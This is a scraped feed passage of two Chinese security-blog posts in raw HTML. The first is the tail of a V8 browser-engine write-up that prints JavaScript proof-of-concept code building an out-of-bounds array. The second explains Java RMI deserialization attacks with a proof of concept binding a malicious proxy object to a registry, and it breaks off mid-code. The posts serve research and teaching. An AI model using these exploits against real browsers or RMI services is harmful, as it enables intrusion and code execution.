10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">Box</span> <span style="color: #c678dd;line-height: 26px;">extends</span> <span style="color: #e6c07b;line-height: 26px;">Array</span> </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">constructor</span>(...args) {<br/>        <span style="color: #c678dd;line-height: 26px;">super</span>(...args);<br/>    }<br/>};<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">// or</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">arr_</span>(<span style="line-height: 26px;">...args</span>)</span>{<br/>    <span style="color: #c678dd;line-height: 26px;">let</span> a = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Array</span>(...args);<br/>    a.a=<span style="color: #d19a66;line-height: 26px;">1</span>;<br/> <span style="color: #c678dd;line-height: 26px;">return</span> a;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">具体实现</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy1XwDRGgQ0cgP5f5WBajtRDbB84Ff1vzxpghLgCPttdUwwic1CZ85YJZx8dBce3OtNhLJ7RLqicjjM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">arr_</span>(<span style="line-height: 26px;">...args</span>)</span>{<br/>    <span style="color: #c678dd;line-height: 26px;">let</span> a = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Array</span>(...args);<br/>    a.a=<span style="color: #d19a66;line-height: 26px;">1</span>;<br/> <span style="color: #c678dd;line-height: 26px;">return</span> a;<br/>}<br/><span style="color: #c678dd;line-height: 26px;">var</span> x = <span style="color: #c678dd;line-height: 26px;">new</span> arr_(<span style="color: #d19a66;line-height: 26px;">1</span>,<span style="color: #d19a66;line-height: 26px;">2</span>,<span style="color: #d19a66;line-height: 26px;">3</span>);<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">foo</span>(<span style="line-height: 26px;">y</span>) </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">for</span> (<span style="color: #c678dd;line-height: 26px;">let</span> i = <span style="color: #d19a66;line-height: 26px;">0</span>; i &lt; <span style="color: #d19a66;line-height: 26px;">0x200</span>; ++i) {<br/>        ++i;<br/>    }<br/>    x=y;<br/>}<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">leak_elems_and_len</span>(<span style="line-height: 26px;"></span>)</span>{<br/>  <span style="color: #c678dd;line-height: 26px;">for</span> (<span style="color: #c678dd;line-height: 26px;">let</span> i = <span style="color: #d19a66;line-height: 26px;">0</span>; i &lt; <span style="color: #d19a66;line-height: 26px;">0x200</span>; ++i) {<br/>        ++i;<br/>    }<br/>  <span style="color: #c678dd;line-height: 26px;">return</span> x[<span style="color: #d19a66;line-height: 26px;">30</span>];<br/>}<br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">overwrite_elems_and_len</span>(<span style="line-height: 26px;">value</span>)</span>{<br/>  <span style="color: #c678dd;line-height: 26px;">for</span> (<span style="color: #c678dd;line-height: 26px;">let</span> i = <span style="color: #d19a66;line-height: 26px;">0</span>; i &lt; <span style="color: #d19a66;line-height: 26px;">0x200</span>; ++i) {<br/>        ++i;<br/>    }<br/>  x[<span style="color: #d19a66;line-height: 26px;">30</span>]=value;<br/>}<br/><span style="color: #c678dd;line-height: 26px;">var</span> a1 = <span style="color: #c678dd;line-height: 26px;">new</span> arr_(<span style="color: #d19a66;line-height: 26px;">1</span>,<span style="color: #d19a66;line-height: 26px;">2</span>,<span style="color: #d19a66;line-height: 26px;">3</span>,<span style="color: #d19a66;line-height: 26px;">4</span>);<br/>foo(a1);<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">//%DebugPrint(foo);</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">//%SystemBreak();</span><br/><span style="color: #c678dd;line-height: 26px;">var</span> a2 = <span style="color: #c678dd;line-height: 26px;">new</span> arr_(<span style="color: #d19a66;line-height: 26px;">1</span>,<span style="color: #d19a66;line-height: 26px;">2</span>,<span style="color: #d19a66;line-height: 26px;">3</span>,<span style="color: #d19a66;line-height: 26px;">4</span>);<br/>a2.b=<span style="color: #d19a66;line-height: 26px;">1</span>;<br/><span style="color: #c678dd;line-height: 26px;">var</span> a3 = <span style="color: #c678dd;line-height: 26px;">new</span> arr_(<span style="color: #d19a66;line-height: 26px;">1</span>,<span style="color: #d19a66;line-height: 26px;">2</span>,<span style="color: #d19a66;line-height: 26px;">3</span>);<br/><span style="color: #c678dd;line-height: 26px;">for</span>(<span style="color: #c678dd;line-height: 26px;">let</span> i=<span style="color: #d19a66;line-height: 26px;">0</span>;i&lt;<span style="color: #d19a66;line-height: 26px;">0x3000</span>;++i) foo(a3);<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">//%SystemBreak();</span><br/>x[<span style="color: #d19a66;line-height: 26px;">0</span>]=<span style="color: #d19a66;line-height: 26px;">1.1</span>;<br/>print(<span style="color: #98c379;line-height: 26px;">&#39;transition to double&#39;</span>);<br/><span style="color: #c678dd;line-height: 26px;">var</span> a4 = <span style="color: #c678dd;line-height: 26px;">new</span> arr_(<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>,<span style="color: #d19a66;line-height: 26px;">3.3</span>,<span style="color: #d19a66;line-height: 26px;">4.4</span>,<span style="color: #d19a66;line-height: 26px;">5.5</span>,<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>,<span style="color: #d19a66;line-height: 26px;">3.3</span>,<span style="color: #d19a66;line-height: 26px;">4.4</span>,<span style="color: #d19a66;line-height: 26px;">5.5</span>,<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>,<span style="color: #d19a66;line-height: 26px;">3.3</span>,<span style="color: #d19a66;line-height: 26px;">4.4</span>,<span style="color: #d19a66;line-height: 26px;">5.5</span>,<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>,<span style="color: #d19a66;line-height: 26px;">3.3</span>,<span style="color: #d19a66;line-height: 26px;">4.4</span>,<span style="color: #d19a66;line-height: 26px;">5.5</span>,<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>,<span style="color: #d19a66;line-height: 26px;">3.3</span>,<span style="color: #d19a66;line-height: 26px;">4.4</span>,<span style="color: #d19a66;line-height: 26px;">5.5</span>,<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>,<span style="color: #d19a66;line-height: 26px;">3.3</span>,<span style="color: #d19a66;line-height: 26px;">4.4</span>,<span style="color: #d19a66;line-height: 26px;">5.5</span>,<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>);<br/>x=a4;<br/><span style="color: #c678dd;line-height: 26px;">for</span>(<span style="color: #c678dd;line-height: 26px;">let</span> i=<span style="color: #d19a66;line-height: 26px;">0</span>;i&lt;<span style="color: #d19a66;line-height: 26px;">0x3000</span>;++i) {<br/>leak_elems_and_len();<br/>overwrite_elems_and_len(<span style="color: #d19a66;line-height: 26px;">0.75</span>);<br/>}<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">//%SystemBreak();</span><br/><span style="color: #c678dd;line-height: 26px;">var</span> a5 = <span style="color: #c678dd;line-height: 26px;">new</span> arr_(<span style="color: #d19a66;line-height: 26px;">1</span>,<span style="color: #d19a66;line-height: 26px;">2</span>,<span style="color: #d19a66;line-height: 26px;">3</span>,<span style="color: #d19a66;line-height: 26px;">4</span>,<span style="color: #d19a66;line-height: 26px;">5</span>,<span style="color: #d19a66;line-height: 26px;">6</span>,<span style="color: #d19a66;line-height: 26px;">7</span>,<span style="color: #d19a66;line-height: 26px;">8</span>,<span style="color: #d19a66;line-height: 26px;">9</span>,<span style="color: #d19a66;line-height: 26px;">10</span>,<span style="color: #d19a66;line-height: 26px;">11</span>,<span style="color: #d19a66;line-height: 26px;">12</span>,<span style="color: #d19a66;line-height: 26px;">13</span>,<span style="color: #d19a66;line-height: 26px;">14</span>,<span style="color: #d19a66;line-height: 26px;">15</span>,<span style="color: #d19a66;line-height: 26px;">16</span>,<span style="color: #d19a66;line-height: 26px;">17</span>,<span style="color: #d19a66;line-height: 26px;">18</span>,<span style="color: #d19a66;line-height: 26px;">19</span>,<span style="color: #d19a66;line-height: 26px;">20</span>,<span style="color: #d19a66;line-height: 26px;">21</span>,<span style="color: #d19a66;line-height: 26px;">22</span>,<span style="color: #d19a66;line-height: 26px;">23</span>,<span style="color: #d19a66;line-height: 26px;">24</span>,<span style="color: #d19a66;line-height: 26px;">25</span>,<span style="color: #d19a66;line-height: 26px;">26</span>,<span style="color: #d19a66;line-height: 26px;">27</span>,<span style="color: #d19a66;line-height: 26px;">28</span>,<span style="color: #d19a66;line-height: 26px;">29</span>,<span style="color: #d19a66;line-height: 26px;">30</span>,<span style="color: #d19a66;line-height: 26px;">31</span>,<span style="color: #d19a66;line-height: 26px;">32</span>);<br/><span style="color: #c678dd;line-height: 26px;">var</span> oob_arr = <span style="color: #c678dd;line-height: 26px;">new</span> arr_(<span style="color: #d19a66;line-height: 26px;">1.1</span>,<span style="color: #d19a66;line-height: 26px;">2.2</span>);<br/>foo(a5);<br/>%SystemBreak();<br/>%DebugPrint(a5);<br/>%DebugPrint(oob_arr);<br/><span style="color: #c678dd;line-height: 26px;">var</span> ab = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">ArrayBuffer</span>(<span style="color: #d19a66;line-height: 26px;">8</span>);<br/><span style="color: #c678dd;line-height: 26px;">var</span> f64 = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Float64Array</span>(ab);<br/><span style="color: #c678dd;line-height: 26px;">var</span> u32 = <span style="color: #c678dd;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Uint32Array</span>(ab);<br/>f64[<span style="color: #d19a66;line-height: 26px;">0</span>]=leak_elems_and_len();<br/>u32[<span style="color: #d19a66;line-height: 26px;">1</span>]=<span style="color: #d19a66;line-height: 26px;">0x42424242</span>;<br/><span style="color: #c678dd;line-height: 26px;">var</span> init=f64[<span style="color: #d19a66;line-height: 26px;">0</span>];<br/>overwrite_elems_and_len(init);<br/><span style="color: #5c6370;font-style: italic;line-height: 26px;">//%DebugPrint(oob_arr);</span><br/>print(oob_arr.length);<br/>%SystemBreak();<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来的步骤就是利用OOB数组更进一步构造伪造对象原语、任意读写原语，不赘述。本文是个人理解学习的总结，如有错漏请斧正。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>参考</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/" target="_blank">https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_30632/</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html" target="_blank">https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://twitter.com/0day_sniper/status/1437754743712063491" target="_blank">https://twitter.com/0day_sniper/status/1437754743712063491</a></p></section>



<p><a href="2247484581">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=05ca668a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484581%26idx%3D1%26sn%3D3f216284bc74286c3432ecc4d7a6aa52%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 Mar 2022 19:55:00 +0800</pubDate>
    </item>
    <item>
      <title>JAVA RMI常见攻击方式与总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484550&amp;idx=1&amp;sn=63494ccf493a0d9c2b44d07974e90374</link>
      <description>Java RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的</description>
      <content:encoded><![CDATA[<p>
原创 <span>p1ay2win</span> <span>2022-03-01 20:05</span> <span style="display: inline-block;"></span>
</p>

<p>Java RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d8225688&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvib4BKbFdYIWWFibktb6MU8IdKI0RJnwAZME6ghUIoOIZ5QX0cm0F8NUzg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>RMI简介</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>Java远程方法调用</strong>，即<strong>Java RMI</strong>（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。它是由注册中心、服务端和客户端三部分组成。</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong>注册中心</strong></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">作为存储远程方法的代理对象的仓库。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong>服务端</strong></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">暴露远程对象，并将其代理对象注册进 RMI Registry。一个代理对象在服务端中包含一个skeleton对象，用于接受来自stub对象的调用。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><strong>客户端</strong></p><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;">查找远程代理对象，远程调用服务对象。一个代理对象在调用该远程对象的客户端上包含一个stub对象，负责调用参数和返回值的序列化、打包解包，以及网络层的通讯过程。</p></section></li></ul><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>攻击方式</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的，以下是几种常见的攻击方式。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>1、攻击注册中心</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当服务端向注册中心注册时，注册中心会反序列化服务端绑定的对象，具体体现在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.registry.RegistryImpl_Skel#dispatch</code>。当服务端注册绑定的是一个恶意的对象时，就可造成反序列化漏洞。当然，由于绑定的对象需要是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Remote</code>对象，所以恶意对象需要实现使用代理类或改写注册方法才能注册绑定。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在远程方法实例化的过程中，调用的父类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">java.rmi.server.UnicastRemoteObject</code>的构造方法，最终是调用了<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.server.Util#createProxy</code>方法创建<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Remote</code>的动态代理类对象并返回。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.38144329896907214" data-s="300,640" style="" data-type="png" data-w="388" src="https://wechat2rss.xlab.app/img-proxy/?k=609cc35e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibyvMc2UlMbFbCm94zjhj0ib6hroGLLTWshGDCub7QYicN5zGiaOicpDa7JA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.412962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=69a51c94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibMW2UAXWtWiajScDPmKOibMBYqjbpsoicX0323dcgYbGUV6vxf6RBJWauw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">POC中的动态代理类按照<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">createProxy</code>方法中逻辑写即可，其中<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">InvocationHandler</code>子类通常选择<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.reflect.annotation.AnnotationInvocationHandler</code>，它具有<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Map&lt;String, Object&gt;</code>类型的属性<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">memberValues</code>可以很方便的绑定反序列化的恶意对象。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>最终POC如下：</strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Class cls = Class.forName(<span style="color: #98c379;line-height: 26px;">&#34;sun.reflect.annotation.AnnotationInvocationHandler&#34;</span>);<br/>Constructor constructor = cls.getDeclaredConstructor(Class<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>, <span style="color: #e6c07b;line-height: 26px;">Map</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>)</span>;<br/>constructor.setAccessible(<span style="color: #c678dd;line-height: 26px;">true</span>);<br/>HashMap&lt;String, Object&gt; map = <span style="color: #c678dd;line-height: 26px;">new</span> HashMap&lt;&gt;();<br/>map.put(<span style="color: #98c379;line-height: 26px;">&#34;obj&#34;</span>, evilObject());<br/>InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>, <span style="color: #e6c07b;line-height: 26px;">map</span>)</span>;<br/>Remote remoteObj = (Remote) Proxy.newProxyInstance(<br/>    Remote<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getClassLoader</span>(),<br/>    <span style="color: #e6c07b;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Class</span>[]</span>{Remote<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>},<br/>    <span style="color: #e6c07b;line-height: 26px;">invocationHandler</span><br/>)</span>;<br/>Registry registry = LocateRegistry.getRegistry(<span style="color: #98c379;line-height: 26px;">&#34;127.0.0.1&#34;</span>, <span style="color: #d19a66;line-height: 26px;">1009</span>);<br/>registry.bind(<span style="color: #98c379;line-height: 26px;">&#34;AttackRegistry&#34;</span>, remoteObj);<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>2、攻击服务端</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>2.1 反序列化参数<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">攻击服务端其中一种方法是通过反序列化远程方法参数实现的。服务端反序列化参数体现在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.server.UnicastServerRef#dispatch</code>方法里调用的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">unmarshalParameters</code>方法，最终通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.server.UnicastRef#unmarshalValue</code>方法反序列化非基本类型的参数。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">protected</span> <span style="color: #c678dd;line-height: 26px;">static</span> Object <span style="color: #61aeee;line-height: 26px;">unmarshalValue</span><span style="line-height: 26px;">(Class&lt;?&gt; var0, ObjectInput var1)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> IOException, ClassNotFoundException </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (var0.isPrimitive()) {<br/>        ...<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> var1.readObject();<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">反序列化参数的利用POC比较简单，但需要服务端以<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Object</code>未参数的远程方法，Demo如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"># 接口<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: 